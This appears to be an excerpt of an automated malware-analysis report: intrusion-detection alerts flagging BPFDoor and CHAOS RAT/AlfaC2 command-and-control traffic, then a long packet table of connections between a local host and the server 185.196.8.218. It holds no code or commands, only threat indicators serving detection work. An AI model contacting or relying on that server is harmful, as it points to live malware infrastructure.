2024-12-27T09:10:07.802753+0100	2036752	ET MALWARE Suspected BPFDoor TCP Magic Packet (Inbound)	1	185.196.8.218	56711	192.168.2.4	49757	TCP
2024-12-27T09:10:36.644650+0100	2046873	ET MALWARE CHAOS RAT/AlfaC2 CnC Server Status Check	1	192.168.2.4	49854	185.196.8.218	8080	TCP
2024-12-27T09:10:36.708282+0100	2046872	ET MALWARE CHAOS RAT/AlfaC2 Client Checkin	1	192.168.2.4	49853	185.196.8.218	8080	TCP
2024-12-27T09:10:44.653955+0100	2046872	ET MALWARE CHAOS RAT/AlfaC2 Client Checkin	1	192.168.2.4	49877	185.196.8.218	8080	TCP
2024-12-27T09:10:44.654022+0100	2046873	ET MALWARE CHAOS RAT/AlfaC2 CnC Server Status Check	1	192.168.2.4	49878	185.196.8.218	8080	TCP
2024-12-27T09:10:57.357561+0100	2037145	ET MALWARE Win32/CHAOS RAT/AlfaC2 Checkin	1	192.168.2.4	49854	185.196.8.218	8080	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 09:09:04.511770010 CET	49730	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:04.631326914 CET	56711	49730	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:04.631587029 CET	49730	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:04.632111073 CET	49730	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:04.751578093 CET	56711	49730	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:06.020734072 CET	56711	49730	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:06.068691015 CET	49730	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:06.270857096 CET	56711	49730	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:06.275275946 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:06.322382927 CET	49730	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:06.394817114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:06.396859884 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:06.402302027 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:06.521814108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.606193066 CET	49675	443	192.168.2.4	173.222.162.32
Dec 27, 2024 09:09:07.747102022 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.747159958 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.747174025 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.747195005 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.747318029 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.747330904 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.747343063 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.747356892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.747375965 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:07.747375965 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:07.747409105 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.747421980 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:07.747421980 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:07.747453928 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.747489929 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:07.867067099 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.914705992 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:07.948456049 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.948528051 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.948594093 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:07.952537060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.952642918 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.952711105 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:07.961013079 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.961112976 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.961195946 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:07.969475985 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.969552994 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.969615936 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:07.977824926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.977890015 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.977974892 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:07.986248970 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.986398935 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.986722946 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:07.994651079 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.994740963 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:07.994978905 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.003065109 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.003216028 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.003319025 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.011518002 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.011590004 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.011698008 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.034427881 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.034565926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.034647942 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.068312883 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.068331003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.068613052 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.149807930 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.149856091 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.150151014 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.153915882 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.153997898 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.154078007 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.162456036 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.162471056 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.162570000 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.170720100 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.170804024 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.170969009 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.179110050 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.179215908 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.179346085 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.184926987 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.185003996 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.185106993 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.190859079 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.190918922 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.191021919 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.196679115 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.196765900 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.196825027 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.202590942 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.202661991 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.202756882 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.206690073 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.206819057 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.206899881 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.210921049 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.211011887 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.211328030 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.215099096 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.215192080 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.215254068 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.219278097 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.219397068 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.219466925 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.223470926 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.223598003 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.223691940 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.228785038 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.228801966 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.228852034 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.232475042 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.232574940 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.232695103 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.236530066 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.236660957 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.236793041 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.240869045 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.241055012 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.241189957 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.245053053 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.245203018 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.245310068 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.249214888 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.296777964 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.350974083 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.350995064 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.351111889 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.352767944 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.352941036 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.353008986 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.356493950 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.356590033 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.356714964 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.360297918 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.360445023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.360564947 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.363822937 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.363924980 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.364162922 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.367292881 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.367387056 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.367459059 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.370776892 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.370899916 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.371032953 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.374134064 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.374236107 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.374280930 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.377439022 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.377513885 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.377594948 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.380682945 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.380882025 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.383424997 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.383876085 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.383972883 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.384067059 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.387130976 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.387231112 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.387336969 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.390438080 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.390480042 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.390568018 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.393666029 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.393747091 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.393843889 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.396922112 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.397000074 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.397119999 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.400185108 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.400285006 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.400357008 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.403446913 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.403645039 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.403708935 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.406780005 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.406826973 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.406903982 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.410012960 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.410147905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.410321951 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.413233042 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.413378954 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.413455009 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.416476011 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.416601896 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.416687012 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.419730902 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.419785023 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.419904947 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.423047066 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.423125982 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.423213005 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.426240921 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.426410913 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.426471949 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.429450035 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.429615974 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.429673910 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.432939053 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.432991028 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.433058023 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.436099052 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.436163902 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.436250925 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.552103996 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.552226067 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.552422047 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.553361893 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.553412914 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.553466082 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.555851936 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.556857109 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.556921005 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.556930065 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.559355021 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.559439898 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.559459925 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.561861038 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.561933994 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.561952114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.564255953 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.564341068 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.564376116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.566765070 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.566855907 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.566879988 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.569092035 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.569207907 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.569236040 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.571686983 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.571707010 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.572169065 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.574207067 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.574235916 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.574593067 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.576661110 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.576698065 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.576764107 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.579087019 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.579123974 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.579147100 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.581358910 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.581409931 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.581746101 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.583705902 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.583801031 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.583862066 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.586108923 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.586183071 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.586225033 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.588574886 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.588629961 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.588711977 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.591006994 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.591059923 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.591135979 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.593453884 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.593527079 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.593535900 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.596024990 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.596097946 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.596157074 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.598268032 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.598371983 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.598403931 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.600861073 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.600897074 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.600964069 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.603238106 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.603334904 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.603370905 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.605602026 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.605635881 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.605695963 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.607975006 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.608053923 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.608181953 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.610359907 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.610542059 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.610595942 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.612854958 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.612890005 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.613102913 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.615226984 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.615331888 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.615339041 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.617726088 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.617877007 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.617897034 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.620075941 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.620168924 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.620191097 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.622533083 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.622601986 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.622623920 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.624927044 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.625027895 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.625086069 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.627397060 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.627468109 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.627542973 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.629754066 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.629822016 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.629861116 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.632417917 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.632478952 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.632658005 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.634617090 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.634711981 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.634740114 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.637120008 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.637197018 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.637223959 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.639513969 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.639570951 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.639597893 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.641917944 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.642000914 CET	49731	56711	192.168.2.4	185.196.8.218
Dec 27, 2024 09:09:08.642121077 CET	56711	49731	185.196.8.218	192.168.2.4
Dec 27, 2024 09:09:08.644401073 CET	56711	49731	185.196.8.218	192.168.2.4
